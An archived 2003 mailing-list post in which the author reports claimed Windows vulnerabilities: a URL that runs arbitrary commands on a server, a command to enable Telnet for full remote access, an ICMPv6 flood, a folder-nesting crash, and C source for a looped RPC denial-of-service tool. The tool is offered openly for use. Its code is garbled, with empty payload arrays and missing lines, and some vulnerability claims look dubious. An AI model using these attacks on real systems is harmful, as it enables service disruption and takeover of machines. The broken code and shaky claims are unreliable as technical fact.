|
|||||||||||
|
New Secuity Vulnerabilities
From: <mba1(at)012.net.il>
Date: Tue Jun 03 2003 - 18:34:17 EDT
I've already talked with Dave McKinney via e-mail and he refferd me to this
e-mail.
From: Dave McKinney <dm@securityfocus.com>
To: mba1@012.net.il <mba1@012.net.il>
Trancer, Can you send your report to the vuln-dev mailing list (vuln-dev@securityfocus.com)?
Dave McKinney
keyID: BF919DD7
On Tue, 3 Jun 2003, mba1@012.net.il wrote:
> No you don't, that's what makes it so easy to hack windows server 2003.
Now, this is the security bugs\vulnerabilities. The first one is two Windows Server 2003 security vulnerabilities
http://admin@<ip>:19338/cmd.cgi?cmd=<EnterCommandHere>
That will cause the server to run the command from the $ROOT$ drive.
Which may be either C/D/E or any other drive defined by the owner / admin
of the machine.
2. Windows 2003 Server has a built in Telnet service (disabled by defult) that listens to open connections on port 3382. An attacker can exploit the first vulnerability (#1 above) and write this commands there -
"sc config TlntSvr start= auto"
then the attacker has FULL access to the system.
Only a password is requierd, and becouse i've just enabled this service,
the password is also set to defult -
Note that if this sevice is already enabled, the password wil be wrong
(only if the system admin changed it)
The secound one is Windows NT (2000\XP\2003) ICMPv6 Flooding
This little Denial of Service attack works jst like ICMP flood but it uses
Ping6 tool (in IPv6 enabled Windows OS or an IPv6 enabled *nix OS)
This attack is also good becouse Microsoft's Internet Connection Firewall
is unable to block IPv6 traffic.
This bug will make Windows XP (all editions) to crash. Creat 122 folders one inside the other and naming them by one char' (like '1' or '0'). now go to one before the last dir' and right click the last folder. hover the mouse over the poped manu and the system will crash. Stupid one but it does crash the system.
This is an upgraded exploit witch will DoS and crash a remote machine using
the WinNuke.c exploit that exploits - Microsoft Windows RPC Service Denial
of Service Vulnerability
### Start MultiWinNuke.c ### /* * Microsoft Windows NT RPC Service Denial of Service Vulnerability * * Orginal Code By Lion @ http://www.cnhonker.com * Upgraded By Trancer @ http://BinaryVision.tech.nu * * I have notice that even after a Windows NT system is patched aginst thisvulnerability with an offical M$ update, * an attacker can still DoS that system if he activate this exploit a lot of times, fast. * So I've upgraded the exploit by looping it and letting you control the times you want to nuke a system * (with a patched 2000\XP 250-400 times is recommended). * * That's it. enjoy :-) \*
#include <winsock2.h>
#pragma comment(lib, "ws2_32.lib") char sendcode1[] = "\x05\x00\x0b\x03\x10\x00\x00\x00\x48\x00\x00\x00\x02\x00\x00\x00" "\xd0\x16\xd0\x16\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x01\x00" "\x60\x9e\xe7\xb9\x52\x3d\xce\x11\xaa\xa1\x00\x00\x69\x01\x29\x3f" "\x02\x00\x02\x00\x04\x5d\x88\x8a\xeb\x1c\xc9\x11\x9f\xe8\x08\x00" "\x2b\x10\x48\x60\x02\x00\x00\x00\x05\x00\x00\x01\x10\x00\x00\x00" "\xd0\x16\x00\x00\x8f\x00\x00\x00\x20\x27\x01\x00\x00\x00\x02\x00" "\xf0\x00\x00\x00\x00\x00\x00\x00\xf0\x00\x00\x00";
char sendcode2[] =
char sendcode3[] =
char sendcode4[] = "\xfe\xff\x00\x00\x00\x00\x00\x00\xfe\xff\x00\x00\x3d\x3d\x3d\x3d" "\x3d\x3d\x3d\x3d\x3d\x3d\x3d\x3d\x3d\x3d\x3d\x3d\x3d\x3d\x3d\x3d" "\x05\x00\x00\x00\x10\x00\x00\x00\xd0\x16\x00\x00\x8f\x00\x00\x00" "\x50\x10\x01\x00\x00\x00\x02\x00";
char sendcode5[] =
char sendcode6[] =
char sendcode7[] =
char sendcode8[] =
int main(int argc, char *argv[])
printf("======================= Windows NT Multi RPC Nuke V0.12
======================\r\n");
printf("=============== Orginal Code By Lion @
http://www.cnhonker.com
===============\r\n");
printf("============= Upgraded By Trancer @ http://BinaryVision.tech.nu ==============\r\n\n");
if (argc < 2)
printf("Usage:\r\n");
printf(" %s
exit(1);
}
wVersionRequested = MAKEWORD(1, 1);
targetip = argv[1];
for (i = 0; i < times; i = i + 1)
s = socket(AF_INET, SOCK_STREAM, 0);
if(s==INVALID_SOCKET)
printf("Socket error!\r\n");
exit(1);
}
printf("Resolving Hostnames...\n");
printf("Resolve of %s failed, please try again.\n", argv[1]);
exit(1);
}
memcpy(&sock.sin_addr.s_addr, pTarget->h_addr, pTarget->h_length);
sock.sin_family = AF_INET;
printf("Connecting...\n");
printf("Couldn't connect to host.\n");
exit(1);
}
printf("Connected!...\n");
printf("Error sending nuke Packets\r\n");
closesocket(s);
exit(1);
}
memset(&buffer, '\x41', 240);
send(s, sendcode2, sizeof(sendcode2)-1, 0);
memset(&buffer, '\x42', 5000);
send(s, sendcode3, sizeof(sendcode3)-1, 0);
memset(&buffer, '\x43', 512);
send(s, sendcode4, sizeof(sendcode4)-1, 0);
memset(&buffer, '\x44', 20480);
memset(&buffer, '\x44', 5000);
send(s, sendcode5, sizeof(sendcode5)-1, 0);
memset(&buffer, '\x45', 5000);
send(s, sendcode6, sizeof(sendcode6)-1, 0);
memset(&buffer, '\x46', 5000);
send(s, sendcode7, sizeof(sendcode7)-1, 0);
memset(&buffer, '\x47', 5000);
send(s, sendcode8, sizeof(sendcode8)-1, 0);
memset(&buffer, '\x48', 5000);
if (times < 2)
closesocket(s);
### End MultiWinNuke.c ###
That's it. note all of the bugs above were found by me, and i'll be glad if
they will be reported.
mail2web - Check your email from the web at http://mail2web.com/ . Received on Wed Jun 4 12:57:56 2003 This archive was generated by hypermail 2.1.8 : Wed Aug 23 2006 - 14:07:40 EDT |
||||||||||
|
|||||||||||